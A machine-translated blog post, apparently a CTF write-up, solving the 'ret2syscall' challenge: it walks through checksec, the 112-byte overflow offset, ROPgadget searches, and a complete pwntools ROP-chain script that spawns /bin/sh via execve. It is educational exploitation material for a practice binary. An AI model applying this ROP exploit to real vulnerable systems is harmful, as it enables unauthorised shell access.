当前位置:网站首页>Ropgadget -- ret2syscall
Ropgadget -- ret2syscall
2022-07-23 06:15:00 【Mokapeng】
Get the title first ret2syscall, Environment turns on address randomization
First checksec once 
It turns on NX
Relro:No Relro( The relocation table is read-only ):
Relocation Read Only, The relocation table is read-only . The relocation table is .got and .plt Two tables .
RELRO There will be No RELRO、Partial RELRO and FULL RELRO, If open FULL RELRO, Means we can't modify got surface
Stack:No Canary found( Energy stack overflow )
NX: NX enable( Non executable memory )
NX That is, no x attribute , without x attribute , Written in shellcode You can't do it . In this case , We can use ROP (Return-Oriented Programming Return oriented programming ), Use stack overflow to arrange addresses on the stack , So that we can get the data we want through stack overflow
PIE: NO PIE( Don't open ASLR Address randomization )
So the question can use ROPgadget The attack
First disassemble to see if there are stack vulnerabilities , Here's the picture , Obviously, there is a stack overflow vulnerability 
First, look at how many bytes the stack needs to overflow , Use gdb Just debug :
The calculation shows that , It needs filling 108+4=112 Byte garbage data , The next question is what value the return value should overflow , At this time, we must first figure out what instructions we want it to execute
Here we want its implementation /bin/sh This Directive , The specific implementation assembly code is as follows :
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
==>execve("/bin/sh",NULL,NULL)
So we need to point the return value to mov eax,0xb This Directive
It is impossible to find the same instruction in execution , The purpose of this main directive is to eax The value of the into 0xb,pop eax Can also be realized
pop eax Is to pop up the value at the top of the stack and store it in eax in , Let's find pop eax This Directive , And there must be a return instruction , In this way, we can use the re overflow return value to make it execute the following instructions
Use ROP Command query has pop eax ret Instructions
ROPgadget --binary ret2syscall --only "pop|ret" | grep eax

You know 0x080bb196 The address can
The next step is to find other instructions 
Find out 0x0806eb90 It happens that edx ecx ebx ret Content , Then use this instruction to construct , Next, construct mov ebx, [“/bin/sh”]
Use ida lookup /bin/sh Content , I found that there was , The address of the query instruction is 080BE408
Finally, construct int 0x80 that will do , use ROPgadget --binary ret2syscall --only “int” It is found that the address is 0x08049421
At this point, all the addresses are searched , The constructed stack diagram is 
The specific code is :
from pwn import *
io = process("./ret2syscall")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80h = 0x08049421
bin_sh = 0x080BE408
payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])
io.sendline(payload)
io.interactive()

OK The end
边栏推荐
猜你喜欢

hcia--nat实验

线性回归与逻辑回归及其实现

Remember a way to connect raspberry pie wirelessly without a display screen and can't find IP

CSDN陪伴了我四年本科生活,自己也开始好好记录一下啦

重磅!《2022中国开源发展蓝皮书》正式发布

Redis集群搭建

51单片机的入门知识(献给初学者最易懂的文章)

字符串在JVM中的内存分配

从键盘输入一串字符,输出不同的字符以及每个字符出现的次数。(输出不按照顺序)运用String类的常用方法解题

Configure the private chirpstack of lorawan in the LAN
随机推荐
PWN —— ret2libc2
输入两个字符串 str1、str2,统计字符串 str2 出现在 str1 中的次数。
Using "hifolw" to quickly create the information generation of College Students' return list
pwn1_sctf_2016
中国科学院院士王怀民:推进中国开源创新联合体的思考与实践
狂神redis笔记09
Common problems of multiple processes - how to lock the same parent thread variable (critical resource) when creating multiple threads so that the shared parent thread variable is not repeatedly modif
2019_AAAI_Multi-Interactive Memory Network for Aspect Based Multimodal Sentiment Analysis
Introduction to SQL -- Basic additions, deletions, modifications, and exercises
机器学习理论基础
快速支持客户知识库的核心优势是什么?
NLP-语言模型
ROPgadget初识 ——— ret2syscall
[第五空间2019 决赛]PWN5 ——两种解法
视频直播源码,重置当前密码的相关改动
2019_ ACL_ Multimodal Transformer for Unaligned Multimodal Language Sequences
2019_ AAAI_ ICCN
栈溢出基础练习题——3 (内有32和64位区别的对比)
2019_ AAAI_ Multi-Interactive Memory Network for Aspect Based Multimodal Sentiment Analysis
中国工程院院士倪光南:拥抱开源 与世界协同创新